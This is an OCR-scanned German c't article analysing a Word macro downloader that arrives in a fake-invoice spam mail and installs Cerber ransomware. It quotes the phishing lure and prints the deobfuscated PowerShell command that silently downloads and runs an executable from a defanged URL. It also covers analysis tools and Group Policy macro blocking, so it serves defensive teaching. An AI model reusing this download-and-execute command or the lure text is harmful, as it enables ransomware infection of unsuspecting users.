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Feind aus dem
Word-Dokument

Analysiert: Das Comeback der Makro-Malware

Makro-Viren sind tot - dachten wir.
Derzeit wollen sich vor allem
Erpressungs-Trojaner im grof3en
Stil iiber Makros auf Computer
schleichen. In dieser Folge der
~Analysiert"-Reihe untersucht

die Malware-Analystin Olivia

von Westernhagen ein frisch
aufgetauchtes Exemplar.

Von Olivia von Westernhagen

chidlinge, die sich in Form von Ma-
kros in Microsoft-Office-Dokumen-
ten verbergen und beim Offnen automa-
tisch ausgefiihrt werden, waren um die
Jahrtausendwende sehr popular. Danach
kam die Masche mehr und mehr aus der
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Mode. Das lag wohl daran, dass Microsoft
seit Office 2010 Makros standardmaflig
abgeschaltet hat. Doch nicht umsonst
heifdt es, Totgesagte leben linger. 2016
berichteten ¢’t und andere Medien wie-
derholt von Erpressungs-Trojanern, die
Computer iiber Makros in Word-Doku-
menten infizieren. Das machte mich neu-
gierig, wie das konkret funktioniert.

Die vermeintliche Rechnung

Ich musste nicht lange suchen, bis ich in
meinem Spam-Ordner eine betriigerische
Nachricht mit einem préparierten Word-
Dokument im Gepack gefunden habe. In
derartigen Mails wird Opfern etwa der Bér
aufgebunden, dass sie eine versiumte
Rechnung bezahlen miissen. Oft ist die
optische Aufmachung und der Text der
Spam-Mails erschreckend tiberzeugend.
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dword pty [ebp+i

edi+eax],
loc_56CA
], eax
ptr [edi+eax]
ptr [edi+eax+
ptr [edi+eax+

dword

Der folgende Text einer derartigen Mail
ist exemplarisch und findet in zig Variatio-
nen Verwendung:

Betreff: Ihre Rechnung vom 24.11.2016
Sehr geehrter Kunde,

Vielen Dank fir die Bestellung.

Dies ist die erste Mahnung.

Die Rechnung finden Sie im Anhang.
Mit freundlichen Griifien

Am Ende der Mail findet sich ein Absatz
mit den gesetzlich vorgeschriebenen In-
formationen fiir geschiftliche E-Mails in-
klusive Namen des Geschéftsfiihrers, Um-
satzsteuer-Identifikationsnummer und so
weiter. Im Anhang ist ein unverdichtig
wirkendes Word-Dokument verankert -
unverdichtig deshalb, weil dieses Datei-
format im Gegensatz zu .exe-Dateien, .zip-
und .rar-Archiven oder PDFs nicht (mehr)
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in dem Rufsteht, ein gingiges Medium fiir
Malware-Infektionen zu sein. Doch trotz
der eingangs erwahnten standardmaéfSigen
Makro-Deaktivierung ist das Dokument
richtig gefihrlich, wie ein Blick ins Innere
zeigt. Hierfiir empfiehlt sich die Installa-
tion von Microsoft Office innerhalb einer
virtuellen Maschine (VM), um Schiaden
am Betriebssystem zu vermeiden.

Bitte Makros aktivieren
Nehmen wir Folgendes an: Der Empfén-
ger geht fest davon aus, dass in seinem
Namen unberechtigterweise etwas be-
stellt wurde und ist angesichts der bereits
seit Monaten offenen und nicht begliche-
nen Rechnung verzweifelt genug, das
Word-Dokument zu 6ffnen. In dieser An-
nahme konnte ihn zusitzlich auch das in
der E-Mail angegebene, real existierende
Impressum bestirken, das offensichtlich
von einem Online-Shop kopiert wurde.

Die Wahrscheinlichkeit ist also grof3,
dass er im néchsten Schritt der Aufforde-
rung folgt, die ihm im Inneren des Doku-
ments in fetten Lettern entgegenspringt:
For activate compatibility mode, please
click ,,Enable editing“ in yellow bar, and
after click ,,Enable content". Die passende
Schaltfliche dafiir in Word ist nicht zu
iibersehen. Das gebrochene Englisch in
dem von mir analysierten aktuellen Bei-
spiel sollte potenzielle Opfer jedoch auf-
horchen lassen -im Zuge meiner Analyse
sind mir aber auch glaubhaftere Formu-
lierungen tiber den Weg gelaufen.

In der von mir fiir die nachfolgende
Analyse verwendeten Office-Versionen
2010 und 2016 ist die geforderte Aktivie-
rung von Makros im Dokument denkbar
einfach: Ein Klick auf eine gelbe Schaltfla-
che ,,Inhalt aktivieren® unterhalb der Sym-
bolleiste gentigt. LibreOffice- und Open-
Office- Nutzer sollten nicht gefdhrdet sein.
In meinen Tests mit einem aktuellen Sam-
ple sprang die Makro-Funktion der Open-
Source-Offices nicht an, da sich die Makro-
Funktionsweise von der in Word unter-
scheidet.

Ich folge dem Impuls zum Aktivieren
jedoch nicht; schlieRlich will ich mir die
enthaltenen Makros zunachst ansehen,
um ihre Funktionsweise zu verstehen.
Dafiir verwende ich den in Word stan-
dardmif3ig integrierten Visual-Basic-Edi-
tor. In Word 2010/16 ist dieser iber An-
sicht/Makros/Makros abrufbar.
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For activate compatibility mode, please click "Enable editing” in yellow bar,

and after click "Enable content™

AaBbC AoBbC AaBbl

This document created in an older version Microsoft
Word

Vorsicht! Ein uniberlegter Klick (rot markiert) in einem préaparierten
Word-Dokument geniigt und schon ist ein Computer mit Malware infiziert.
Das passiert in Sekundenschnelle und kann verheerenden Schaden anrichten.

Eine andere Mdglichkeit, Makro-
Code aus Office-Dokumenten herauszu-
filtern, bietet das Tool OfficeMalScanner
von Frank Boldewin. Per Kommandozeile
lassen sich damit Informationen tiber das
Dateiformat ermitteln und im Dokument
enthaltener Visual-Basic-Code (VBA) in
einer neu angelegten, separaten Datei ab-
speichern. Bei VBA handelt es sich um
eine michtige Programmiersprache. Die
Verwendung dieses Tools bietet sich vor
allem dann an, wenn zur Analyse des
Codes keine virtuelle Maschine zur Ver-
fiigung steht und dieser somit auf keinen
Fall ausgefiihrt werden darf.

Der Makro-Code

Mit dem Klick auf ,,Aktivieren“ erlaubt
der Nutzer aber nicht nur Makros, etwa im
Sinne von Dokumentoperationen via Hot-
key. Er ermdglicht vielmehr das automa-
tische Ausfithren von beliebigem VBA-
Code - und das bei jedem kiinftigen Off-
nen des Dokuments.

Im vorliegenden Beispiel kommt hier-
flir die VBA-Standard-Funktion Docu-
ment_Open() zum Einsatz, die Word beim
Offnen eines Dokumentes automatisch
ausfiihrt. Gleichwertige Alternativen sind
ibrigens die Funktionen Auto_Open() be-
ziehungsweise Workbook_Open(), die Ent-
wickler von Trojanern gern als automati-
schen Einstiegspunkt fiir den Schadcode-
Aufruf verwenden.

Beim Betrachten der Document_Open()-
Funktion dieses Schidlings fallt zunéchst
die Deklaration einer grofden Anzahl von
Variablen auf. Um den Code schwerer les-
bar zu machen (Obfuskation), setzen die
Malware-Autoren auf zufillige Zeichen-
ketten als Variablennamen, denen sie als
Werte Teilstrings aus Buchstaben oder
Zahlen zuweisen. Erst zur Laufzeit wer-
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den die Variablenwerte innerhalb eben-
falls zufillig benannter Funktionen wieder
zusammengesetzt und entschlisselt.

Der durch die hohe Anzahl solcher
Funktionen sehr umfangreiche Code ver-
wirrt nicht nur mich als Analystin, son-
dern dient vor allem auch dazu, die stati-
sche Code-Analyse durch AV-Programme
zu erschweren. Ich gehe davon aus, dass
die Code-Obfuskation auf einem Tool ba-
siert und somit bei jeder neuen Malware-
Kampagne ganz einfach verindert werden
kann. Dadurch konnen AV-Programme
neue Varianten nicht anhand identischer
Code-Passagen entlarven.

Was bis hierher nach einer cleveren
Strategie aussieht, hat der Urheber des
Codes allerdings nicht ganz zu Ende ge-
dacht: Eine einzige Codezeile hebt sich
stark vom schwer verstindlichen Einerlei
ab und offenbart mir auf einen Blick, wel-
chem Zweck das Makro dient: :owogdew =
Array(,CM¢, ,d.*, ,Ex¢, ,E[..]. Wenige
Zeilen darunter sehe ich den Aufruf des
Bereichs [..]Array (join(owogdewl..]. Dieser
setzt die einzelnen Array-Elemente mit

Analysiert: by heise Security

Dies ist ein Hintergrundartikel von
heise Security, dem auf Sicherheit spe-
zialisierten Portal von heise online. Dort
finden Sie auch weitere Artikel der
losen Serie ,Analysiert", in der Exper-
ten einen Blick hinter die Kulissen von
aktuellen Schadlingen, Betrugsma-
schen und anderen Tricks werfen. Wie
hat Ihnen der Artikel gefallen? Senden
Sie uns lhr Feedback an des@ct.de.
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Das Tool Office-
MalScanner
extrahiert

unter anderem
Makros aus
Office-Dateien.

CAWindows\system32\cmd.exe

NUserssMadamefAinalysesDesktophofficemalscanner>

=1 |

kleinen Anderungen zu einem einzigen
String zusammen:

CMd.ExE /C POwErSHE1L.ExE -
EXeCUTiOnPoliCy byPaSs -NoPROFILE -
wINDOwstyle hidDEn (new-
objectsySTEM.nET.WeBcliENT).dOwnLOadfIL
e('hxxp://zofelas[...]"' '%apPDATA%.exE")
; StArT-pRoCESS '%aPPDaTa%.exe'

Diese Anweisung startet PowerShell.exe
aus der Windows-Eingabeaufforderung
cmd . exe heraus. Bei PowerShell handelt es
sich um ein seit Windows 7 vorinstalliertes
Duo aus Kommandozeileninterpreter und
eigener Skriptsprache, das als méchtiges
Admin-Tool sehr beliebt ist. Die an
PowerShell ibergebenen Parameter -Exe-
cutionPolicy
-WindowStyle

Bypass, — NoProfile und
Hidden dienen dazu, die

Aktivititen der Shell vor dem Nutzer zu
verbergen.

Die Malware nutzt die WebClient-
Klasse aus dem .NET-Framework, um den
Download einer Datei von einer vorgege-
benen URL zu veranlassen. Die Datei lan-
det im %appdata%-Ordner. Mit dem Befehl
Start-Process plus dem Pfad zur Datei
fiihrt der Makro-Code die Ransomware
Cerber in Form einer .exe-Datei aus. Das
Makro hat seine Aufgabe als relativ simp-
ler Downloader nach Ausfithrung dieser
einen Zeile erfiillt.

Im Gegensatz zu der Makro-Masche,
die zur Jahrtausendwende die Regel war,
befindet sich der Schidling nicht mehr di-
rekt an Bord eines Word-Dokumentes.
Stattdessen wird er nachtréglich herunter-
geladen und anschlieflend installiert.

Makros in Office global verbieten

Seit Office 2010 sind Makros zwar stan-
dardmaBig deaktiviert, doch Uberzeu-
gend formulierte betriigerische Mails
kénnen Opfer dazu bringen, die ,Ge-
schitzte Ansicht” zu deaktivieren: Da-
raufhin nimmt die Infektion ihren Lauf.
Uber die Gruppenrichtlinien von
Windows koénnen Admins, etwa in
einem Unternehmen, Makros in Office
2007, 2010, 2013 und 2016 ohne Aus-
nahme verbieten. Fir die Einrichtung
stellt Microsoft Gruppenrichtlinien-Vor-
lagen in Form einer .exe-Datei zum
Download bereit (siehe c’t-Link). Diese
muissen Admins lediglich via Doppel-
klick ausfiihren und anschlieBend die
extrahierten Ordner ,de-de” und ,en-us”
in den Ordner PolicyDefinitions im
Windows-Verzeichnis kopieren. Das
Makro-Verbot greift je nach Einstellung
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im Editor fir lokale Gruppenrichtlinien
unter ,,Benutzerkonfiguration/Adminis-
trative Vorlagen” fiir Excel, PowerPoint
und Word. Dort kann man auch fir ver-
schiedene Szenarien Einstellungen vor-
nehmen: So ist es etwa denkbar, dass
Makros ausschlieBlich in lokal erzeugten
Office-Dokumenten erlaubt sind und die
Funktion in heruntergeladenen Word-
Dateien blockiert ist. In einem kurzen
Versuch hat das erfolgreich beim
Download mit Chrome, Edge, Firefox
und Thunderbird geklappt.

Deaktiviert ein potenzielles Opfer
nach Einrichtung der Makro-Gruppen-
richtlinie die geschiitzte Ansicht eines
Word-Dokumentes, bleiben Makros trotz-
dem blockiert. Zusatzlich erscheint ein
Hinweis, dass alleinig ein Admin die ge-
blockten Makros entsperren kann.
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Operationsbesteck

Mit diesen Tools hat Olivia von Western-

hagen in Word-Makros geschaut.

- OfficeMalScanner: zum Heraus-
filtern von Makro-Code

- Visual-Basic-Editor in Word: zeigt
Makro-Code an

- VirtualBox: virtuelle Maschine

Alle Tools finden Sie Gber den c't-Link.

Durch diesen Ansatz konnen die Malware-
Entwickler ohne viel Aufwand zum Beispiel
neue Versionen eines Trojaners nachschie-
ben. Die Methode kann aber auch Nachtei-
le fiir die Kriminellen haben, schlief3lich
findet eine Infektion nur statt, wenn der
Computer eines Opfers online ist.

Daten gegen Losegeld
Im weiteren Verlauf zeigt sich das ganze
Ausmaf3 dessen, was ein uniiberlegter Klick
in Word anrichten kann: Mein Computer,
beziehungsweise zum Gliick nur meine vir-
tuelle Maschine, befindet sich im Wiirge-
griff des Erpressungs-Trojaners Cerber.
Das ist nicht zu tibersehen, da der Schad-
ling das Desktop-Bild ausgetauscht und
iberall seine Erpresser-Botschaft platziert
hat. Besonders prekir: Nach dem Aktivie-
ren der Makros nimmt das Unheil im Hin-
tergrund und vom Opfer unbemerkt seinen
Lauf. Bilder und Dokumente sind bereits
nach wenigen Sekunden verschliisselt. Den
Schliissel fiir die Daten wollen die Draht-
zieher erst gegen Losegeld rausriicken.
Der VBA-Code beweist, dass keine
besondere Raffinesse notig ist, um gefihr-
liche Malware auf einem System zu plat-
zieren. Die hohen Infektionszahlen mit
Cerber zeigen, dass viele Nutzer der Ak-
tivierungs-Aufforderung im Word-Doku-
ment nachkommen -und, dass Malware-
Makros keineswegs eine angestaubte Ma-
sche zur Verbreitung von Trojanern sind.
Besonders interessant am vorliegenden
Beispiel ist der Missbrauch der vorinstal-
lierten PowerShell, die den Download und
die Ausfithrung der Ransomware in einem
einzigen unauftilligen Schritt ermdglicht.
(des@ct.de) €&

Download der Analyse-Tools und
Gruppenrichtlinien: ct.de/ygt2

c't 2017, Heft 5



